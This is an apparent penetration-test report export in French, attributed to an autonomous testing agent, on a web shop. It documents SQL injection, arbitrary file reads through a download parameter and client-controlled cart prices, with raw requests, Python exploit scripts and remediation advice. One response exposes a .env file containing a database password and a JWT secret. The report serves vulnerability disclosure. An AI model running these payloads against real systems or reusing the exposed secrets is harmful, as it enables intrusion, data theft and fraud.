#dde;padding:4px 8px}</style> </head><body> <header><strong><a href="/">Nordvault</a></strong> <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav> <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header> <main><h1>Catalogue papeterie</h1><table><thead><tr><th>Produit</th><th>Reference</th><th>Prix HT</th></tr></thead><tbody><tr><td><a href="/produit/1">Ramette papier A4 80g (500 f.)</a></td><td>PAP-A4-500</td><td>5.9</td></tr><tr><td><a href="/produit/2">Enveloppes C5 x100</a></td><td>PAP-ENV-C5</td><td>8.4</td></tr></tbody></table><form action="/catalogue/recherche"><label for="cq">Filtrer le catalogue</label> <input id="cq" name="q"> <button>Filtrer</button></form></main> <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a> <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a> <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a> <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer> <script src="/static/app.js"></script> <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b1b94dac4db3',t:'MTc5MTc2MTg2Mg=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>Request / response
HTTP request
GET /catalogue?categorie=papeterie%27+OR+1%3d1--+ HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */*
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:37:46 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=rF0PflX91SGXF%2BPTIfbs2YZ7lNCItZAb3iMZtNwyAxURBZ8%2BYIV%2Fc1nRAiht%2FGT%2F1XowHWKC8kXuu2nLWshH%2Bcuu%2BWl3to0CqHY9dlB8ms0rcCSQzeCzmAmMgpnVFqhKfIc1UhcZP17I"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b1d28e44dbf3-FRA alt-svc: h3=":443"; ma=86400 Content-Length: 3636 <!doctype html> <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <title>Catalogue - Nordvault</title> <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid #dde;padding:4px 8px}</style> </head><body> <header><strong><a href="/">Nordvault</a></strong> <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav> <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header> <main><h1>Catalogue papeterie' OR 1=1-- </h1><table><thead><tr><th>Produit</th><th>Reference</th><th>Prix HT</th></tr></thead><tbody><tr><td><a href="/produit/1">Ramette papier A4 80g (500 f.)</a></td><td>PAP-A4-500</td><td>5.9</td></tr><tr><td><a href="/produit/2">Enveloppes C5 x100</a></td><td>PAP-ENV-C5</td><td>8.4</td></tr><tr><td><a href="/produit/3">Chaise ergonomique Opale</a></td><td>MOB-CHA-ERG</td><td>189.0</td></tr><tr><td><a href="/produit/4">Bureau droit 140 cm</a></td><td>MOB-BUR-140</td><td>245.0</td></tr><tr><td><a href="/produit/5">Souris filaire USB</a></td><td>INF-SOU-USB</td><td>9.9</td></tr><tr><td><a href="/produit/6">Clavier AZERTY silencieux</a></td><td>INF-CLA-AZE</td><td>24.5</td></tr><tr><td><a href="/produit/7">Ecran 27 pouces QHD</a></td><td>INF-ECR-27</td><td>279.0</td></tr><tr><td><a href="/produit/8">Gel hydroalcoolique 500 ml</a></td><td>ENT-GEL-500</td><td>4.2</td></tr><tr><td><a href="/produit/9">Essuie-tout industriel x6</a></td><td>ENT-ESS-6</td><td>17.8</td></tr><tr><td><a href="/produit/10">Agenda 2025 semainier</a></td><td>PAP-AGE-2025</td><td>12.0</td></tr></tbody></table><form action="/catalogue/recherche"><label for="cq">Filtrer le catalogue</label> <input id="cq" name="q"> <button>Filtrer</button></form></main> <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a> <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a> <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a> <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer> <script src="/static/app.js"></script> <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b1d28e44dbf3',t:'MTc5MTc2MTg2Ng=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>Request / response
HTTP request
GET /catalogue?categorie=papeterie%27+AND+1%3d0--+ HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */*
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:37:43 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=jT7ke1sMg8JBMvs%2BigyxNI6PfsXjaj1W0Ywn0k4QYVHNJMmJLvi6qppdA6fD2i2ByeCPWsFhZZY8jg%2BzWYujWK7FWTgahp4QAwpqdckAj7G3vBAhFtlFwqNsXdTlD9RC4uerolhNfoo2"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b1bd19cfde45-FRA alt-svc: h3=":443"; ma=86400 Content-Length: 2656 <!doctype html> <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <title>Catalogue - Nordvault</title> <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid #dde;padding:4px 8px}</style> </head><body> <header><strong><a href="/">Nordvault</a></strong> <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav> <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header> <main><h1>Catalogue papeterie' AND 1=0-- </h1><table><thead><tr><th>Produit</th><th>Reference</th><th>Prix HT</th></tr></thead><tbody></tbody></table><form action="/catalogue/recherche"><label for="cq">Filtrer le catalogue</label> <input id="cq" name="q"> <button>Filtrer</button></form></main> <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a> <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a> <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a> <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer> <script src="/static/app.js"></script> <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b1bd19cfde45',t:'MTc5MTc2MTg2Mw=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>Exploit artifact
Reproduction
1. Envoyer sans authentification
GET /catalogue?categorie=papeterieet constater deux produits. 2. Envoyer la variante avecAND 1=0--et constater qu’aucun produit ne figure dans le tableau. 3. Envoyer la variante avecOR 1=1--et constater dix produits, dont le lien/produit/10et la référencePAP-AGENDA-2025. 4. Vérifier que la ficheGET /produit/10répond404. 5. Envoyer la varianteUNION SELECTet constater la ligne/produit/999affichant3.46.1,TESTet0.Exploit artifact
text/x-shellscript import requests from bs4 import BeautifulSoup base = "https://app.nordvault.fr" payloads = ( "papeterie", "papeterie' AND 1=0-- ", "papeterie' OR 1=1-- ", "nonexistent' UNION SELECT 999,sqlite_version(),0,'TEST'-- ", ) for payload in payloads: response = requests.get(base + "/catalogue", params={"categorie": payload}, allow_redirects=False, timeout=10) document = BeautifulSoup(response.text, "html.parser") rows = document.select("main tbody tr") print(repr(payload), response.status_code, len(rows), [row.get_text(" ", strip=True) for row in rows if "/produit/10" in str(row) or "/produit/999" in str(row)]) print("fiche masquée", requests.get(base + "/produit/10", allow_redirects=False, timeout=10).status_code)Request / response
HTTP request
GET /catalogue?categorie=papeterie%27 HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */*
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:37:46 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=pawR9XNpXhcooLM8k%2FeqaW%2FGwetV60rZcKaNCdLlTncsiynAUqHvMsLnJLaBSTid5b5mh0dUSowtiMBmImnz697V935ZZdTHnoO%2BqMEErukmKQupLT%2F53qVVSjWgYgnLyb5McB5UGk3g"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b1d1fd98dc7a-FRA alt-svc: h3=":443"; ma=86400 Content-Length: 2867 <!doctype html> <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <title>Catalogue - Nordvault</title> <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid #dde;padding:4px 8px}</style> </head><body> <header><strong><a href="/">Nordvault</a></strong> <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav> <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header> <main><h1>Catalogue papeterie'</h1><p role="alert">Erreur SQL : unrecognized token: "'papeterie'' AND active = 1" -- requete : SELECT id, name, price, sku FROM products WHERE category = 'papeterie'' AND active = 1</p><table><thead><tr><th>Produit</th><th>Reference</th><th>Prix HT</th></tr></thead><tbody></tbody></table><form action="/catalogue/recherche"><label for="cq">Filtrer le catalogue</label> <input id="cq" name="q"> <button>Filtrer</button></form></main> <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a> <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a> <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a> <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer> <script src="/static/app.js"></script> <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b1d1fd98dc7a',t:'MTc5MTc2MTg2Ng=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>This evidence comes from the autonomous testing agent and has not been independently replayed.
Medium
9. Lecture arbitraire de fichiers par chemin absolu dans
GET /telechargementhttps://app.nordvault.fr/telechargement?fichier=
- CVSS 3.1 score
- 5.3
- Weakness (CWE)
- CWE-22
- OWASP category
- A01 · Broken Access Control
Description
Le paramètre
fichierdeGET /telechargementaccepte un chemin absolu fourni par un visiteur non authentifié. Le téléchargement peut ainsi sortir du répertoire des documents et lire des fichiers de configuration de l’application.Impact
Un visiteur non authentifié peut lire des fichiers accessibles au processus Web hors du répertoire des documents. La reproduction a obtenu le fichier système
/etc/hostset le fichier de configuration/var/www/nova/.env(143 octets), qui contient les clésAPP_ENV,JWT_SECRET,DATABASE_URLetNOVA_AUDIT. La validité des secrets et une éventuelle falsification de jetons ou connexion à la base de données n’ont pas été testées ; elles ne sont pas incluses dans l’impact démontré.Technical analysis
Le point d’entrée prend
fichiercomme nom de document à télécharger. Une valeur relative telle quecgv.pdfsert le PDF attendu. La valeur absolue%2fetc%2fhostsest néanmoins résolue directement comme/etc/hostset renvoyée en texte brut, tandis que%2fvar%2fwww%2fnova%2f.envexpose le fichier de configuration en dehors de/var/www/nova/public/docs/. Le traitement observé d’un chemin relatif..%2frobots.txtsous/var/www/nova/public/docs/ne limite donc pas les chemins absolus. Aucun cookie ni jeton n’est nécessaire pour ces requêtes.Remediation
1. Ne résoudre
fichierqu’à partir d’une liste explicite de documents autorisés, idéalement par identifiant logique plutôt que par chemin fourni par le client. 2. Si la résolution par nom est nécessaire, refuser les chemins absolus et canoniquer le chemin final avant de vérifier qu’il reste strictement dans le répertoire documentaire configuré, y compris pour les liens symboliques. 3. Maintenir les fichiers de configuration hors des racines publiables et limiter les droits de lecture du processus Web ; renouveler les secrets exposés après analyse de leur usage.Remediation detailsEstimated effort: Low
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Validation assumptions
Le téléchargement est accessible sans authentification sur l’hôte public. Seuls les fichiers lisibles par le processus Web peuvent être récupérés ; la portée exacte des permissions du système de fichiers n’a pas été cartographiée.
Confidence declared by the agent
HighCounterevidence examined
Les requêtes relatives
..%2frobots.txtrestent résolues sous/var/www/nova/public/docs/, et un chemin absolu inexistant renvoie404; cela limite certaines formes de traversée et prouve que tous les noms ne retournent pas un document. Toutefois, les deux fichiers réels situés hors du dossier autorisé retournent200sans authentification. La validité deJWT_SECRETet les effets deDATABASE_URLn’ont pas été évalués ; la gravité repose sur la lecture directe de fichiers confidentiels, et non sur une prise de contrôle supposée.Evidence
Request / response
HTTP request
GET /telechargement?fichier=%2fetc%2fhosts-nonexistent-validation HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */*
HTTP response
HTTP/1.1 404 Not Found Date: Sun, 11 Oct 2026 23:37:21 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 56 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=e%2F8BFjNiAWJ0JLWomC3YL33bpu7BLdujFRtAVJWPf%2BIab2nIDXknPdp4I6ktWhsVGdHtYVmAZQu5HJqgfoz5EaOvELFGeOFMmWLZIpeN5WfuxecDR%2FoYTOlLYWWdF0ZQNPcXZlSJ%2BMAR"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b132d80fb19e-FRA alt-svc: h3=":443"; ma=86400 Fichier introuvable : /etc/hosts-nonexistent-validationRequest / response
HTTP request
GET /telechargement?fichier=..%2frobots.txt HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */*
HTTP response
HTTP/1.1 404 Not Found Date: Sun, 11 Oct 2026 23:37:21 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 59 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=SdMYQ4mqSwKluK%2Bv3fu6eTM9KVSPOT4T2KD6gqK8OWuVyXJS5cH2VEKCL4a8SEx%2FdHaOWysc41iec0tLCOcxlG5n%2B2%2FcQlNUykfEqM9ExJiz4WgFG0lj3IFU9xDnfZgA1uGv3RIkIJND"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b1336b508dfb-FRA alt-svc: h3=":443"; ma=86400 Fichier introuvable : /var/www/nova/public/docs/robots.txtExploit artifact
Reproduction
1. Demander le document autorisé
cgv.pdfpour établir la réponse normale. 2. Demander%2fetc%2fhostssans authentification et constater la réponse200contenant uniquement le marqueur non personnel127.0.0.1 localhost. 3. Demander un chemin absolu inexistant pour confirmer que l’application recherche bien le chemin transmis. 4. Demander%2fvar%2fwww%2fnova%2f.envet ne vérifier que le statut, la longueur et les noms de clés, sans afficher ni conserver leurs valeurs.Exploit artifact
text/x-shellscript import requests base = "https://app.nordvault.fr/telechargement?fichier=" paths = { "document": "cgv.pdf", "outside_root": "%2fetc%2fhosts", "missing": "%2fetc%2fhosts-nonexistent-validation", "config": "%2fvar%2fwww%2fnova%2f.env", } for label, path in paths.items(): response = requests.get(base + path, timeout=10) print(label, response.status_code, len(response.content), response.headers.get("Content-Type")) if label == "outside_root": print("localhost marker:", b"127.0.0.1 localhost" in response.content) if label == "config": print("configuration keys:", [line.split(b"=", 1)[0].decode("ascii", "replace") for line in response.content.splitlines() if b"=" in line])Request / response
HTTP request
GET /telechargement?fichier=%2fetc%2fhosts HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */*
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:37:21 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 72 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=CY7x6xi4fNqjNThbplf7PrMQ6aNkVPFNUfJ%2F5ldljPq8Lvtu%2F0uyo%2BpTZ2vPF36LcASd43p7xpQw6VandakreZQ0dna5kyCZpRTDsHVVY8RtOA3MfxzPqDyZ4djk35361wPIrC%2FlU1Ht"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b1321ad6bba3-FRA alt-svc: h3=":443"; ma=86400 127.0.0.1 localhost 10.0.12.4 nova-web-01 10.0.12.9 admin.nova.internalRequest / response
HTTP request
GET /telechargement?fichier=%2fvar%2fwww%2fnova%2f.env HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */*
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:38:41 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 143 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=SzZlJO95hYgc%2FswGH6XvIfHDVdosu58xgyFP0BKKejFiPgL9hG0vnNHeFTPTA%2Fj6prMGWVN30%2Bh%2BQZ6RaXBTepOZKvx7ByYSpjmjAQ6fnegI16ZQDBCi5wABfkkEVdl2%2Bsct7CWVlxNJ"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b32b4a05d2e6-FRA alt-svc: h3=":443"; ma=86400 APP_ENV=production JWT_SECRET=changeme DATABASE_URL=postgres://nova_app:Nv!db-2019-prod@10.0.12.5/nova_prod NOVA_AUDIT=NOVA{dotenv-2d4b8583e5}Request / response
HTTP request
GET /telechargement?fichier=cgv.pdf HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */*
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:37:20 GMT Content-Type: application/pdf Content-Length: 64 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=gFwZ6aeNM8H5tmQAY%2FxCS%2B2K%2FkLSw1HvngUZubY32m3GXjiZs5kFMcoB3ofTNuGh1L5PbVaTJujhHMXRBmRuMMzBh%2B5f%2F1yZfeJqKrfdBOVK%2FfiOaCZD8hceGiP8Cxx65ic6hKvgf2mW"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b1316943d236-FRA alt-svc: h3=":443"; ma=86400 %PDF-1.4 % Conditions generales de vente Nordvault %%EOFThis evidence comes from the autonomous testing agent and has not been independently replayed.
Medium
10. Prix du panier contrôlable par le client lors de sa validation
https://app.nordvault.fr/api/v1/panier/valider
- CVSS 3.1 score
- 4.3
- Weakness (CWE)
- CWE-602
- OWASP category
- A04 · Insecure Design
Description
La validation du panier accepte le champ non documenté
prixfourni dans chaque ligne et l'utilise à la place du tarif du catalogue. Un client authentifié obtient ainsi une réponsestatut: valideepour un article facturé à0au lieu de5.9.Impact
Sur un compte client de test, l'API a accepté la validation d'un panier contenant
PAP-A4-500au prix de0et a annoncé une commande validée sans paiement, alors que le tarif public est5.9. Aucune création durable de commande, livraison, remise de stock ni transaction de paiement n'a été démontrée :GET /api/v1/commandesrenvoyait toujours une liste vide. L'impact établi se limite au contournement de l'intégrité du calcul et de la réponse de validation.Technical analysis
GET /api/v1/produitsindiqueprix: 5.9pourPAP-A4-500. Le schéma dePOST /api/v1/panier/validerpublié dans/api/docs/openapi.jsondécritskuetquantitedanslignes, mais pasprix. Malgré cela, l'ajout deprix: 0au JSON est accepté : le serveur calculetotal_ht: 0.0et répondstatut: valideeavecCommande validee sans paiement. Àskuetquantiteidentiques,prix: 5.9produittotal_ht: 5.9. Cette différence montre que la valeur tarifaire issue du corps contrôlé par le client prévaut sur celle du catalogue pour ce parcours.Remediation
1. Ignorer les champs tarifaires fournis par le client dans
ligneset recalculer le prix de chaqueskudepuis la source de tarifs faisant autorité côté serveur au moment de la validation. 2. Contrôler que les quantités sont des entiers strictement positifs et vérifier la disponibilité du produit avant de produire un total ou un état validé. 3. Ajouter un test de régression soumettant le mêmeskuavecprix: 0et vérifier que le serveur applique le tarif du catalogue ou refuse le champ inattendu.Remediation detailsEstimated effort: Low
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Validation assumptions
L'exploitation nécessite un compte client ; l'inscription autonome a été observée. Les essais portent exclusivement sur un compte de test et un article du catalogue public.
Confidence declared by the agent
HighCounterevidence examined
L'argument le plus fort contre un impact financier est que
GET /api/v1/commandesdu même compte renvoie{"commandes":[]}avant et après les soumissions : aucune persistance, livraison ou opération de paiement n'est prouvée. La réponsestatut: valideeet le message de gratuité prouvent néanmoins que le contrôle tarifaire du calcul serveur peut être contourné. Aucune conclusion n'est tirée sur l'exécution ultérieure du traitement des commandes.Evidence
Exploit artifact
Reproduction
1. Créer un compte client de test et récupérer son cookie de session
nova_jeton. 2. Vérifier le prix public dePAP-A4-500avecGET /api/v1/produits. 3. Soumettre le même article en quantité1àPOST /api/v1/panier/valideravecprix: 5.9et relever le total. 4. Répéter avecprix: 0et constatertotal_ht: 0.0,statut: valideeet le message de validation sans paiement. 5. VérifierGET /api/v1/commandespour ne pas inférer une commande persistante de la seule réponse.Exploit artifact
text/x-shellscript import os import requests base = "https://app.nordvault.fr" session = [REDACTED] session.cookies.set("nova_jeton", os.environ["NOVA_JETON"], domain="app.nordvault.fr") catalogue = session.get(f"{base}/api/v1/produits", timeout=10) catalogue.raise_for_status() produit = next(p for p in catalogue.json()["produits"] if p["sku"] == "PAP-A4-500") print("Prix du catalogue :", produit["prix"]) for prix in (produit["prix"], 0): lignes = [{"sku": produit["sku"], "quantite": 1, "prix": prix}] reponse = session.post(f"{base}/api/v1/panier/valider", json={"lignes": lignes}, timeout=10) print("Prix soumis :", prix, "HTTP :", reponse.status_code, "Réponse :", reponse.json()) commandes = session.get(f"{base}/api/v1/commandes", timeout=10) print("Commandes du compte de test :", commandes.status_code, commandes.json())Request / response
HTTP request
POST /api/v1/panier/valider HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */* Cookie: [REDACTED] Content-Type: application/json Content-Length: 57 {"lignes":[{"sku":"PAP-A4-500","quantite":1,"prix":5.9}]}HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:38:05 GMT Content-Type: application/json; charset=utf-8 Content-Length: 42 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=g%2B2QSSu7lOWPQbvMgfWDqCMGj1YuMh8BCYWkS8JbnI3V0GkWO5ZzG8lrM5uviA%2FgH9Zink8GS7qhiUbtHhAkArlYTXC2ZrQJ6iZin8SddBnybiukGPQJnkgHe8elFn8b6zpdVISzTlDz"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b2460fc5e010-FRA alt-svc: h3=":443"; ma=86400 { "total_ht": 5.9, "statut": "validee" }Request / response
HTTP request
GET /api/docs/openapi.json HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */*
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:39:03 GMT Content-Type: application/json Content-Length: 4278 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=DgliwX1eRbjvMr3K%2Fc0mbiRgveORI41gryIdutkBRBbUzxv517P%2BNfFLPgj2jPFOeyJyW1Ae0iBQayG3iE4f3S2bp%2BokNs3OjmCDcSHW0XmYeloLoElyehE2%2BAL6WhcFKS2mQIrZcJ4H"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b3b1ec4107ca-FRA alt-svc: h3=":443"; ma=86400 { "openapi": "3.0.3", "info": {"title": "Nordvault API", "version": "3.4.1", "description": "API du portail client Nordvault. Authentification par jeton Bearer (POST /api/v1/auth/jeton) ou cookie nova_jeton."}, "servers": [{"url": "/api/v1"}], "components": { "securitySchemes": { "bearer": {"type": "http", "scheme": "bearer", "bearerFormat": "JWT"}, "apiKey": [REDACTED] "apiKey", "in": "header", "name": "X-Api-Key"} } }, "paths": { "/auth/jeton": {"post": {"summary": "Obtenir un jeton", "requestBody": {"content": {"application/json": {"schema": {"type": "object", "properties": {"email": {"type": "string"}, "mot_de_passe": {"type": "string"}}}}}}, "responses": {"200": {"description": "Jeton"}, "401": {"description": "Echec"}}}}, "/moi": { "get": {"summary": "Profil courant", "security": [{"bearer": []}], "responses": {"200": {"description": "Profil"}}}, "patch": {"summary": "Mettre a jour le profil (nom, telephone)", "security": [{"bearer": []}], "requestBody": {"content": {"application/json": {"schema": {"type": "object", "properties": {"nom": {"type": "string"}, "telephone": {"type": "string"}}}}}}, "responses": {"200": {"description": "Profil mis a jour et nouveau jeton"}}} }, "/commandes": {"get": {"summary": "Mes commandes", "security": [{"bearer": []}], "responses": {"200": {"description": "Liste"}}}}, "/commandes/{id}": {"get": {"summary": "Detail d'une commande", "security": [{"bearer": []}], "parameters": [{"name": "id", "in": 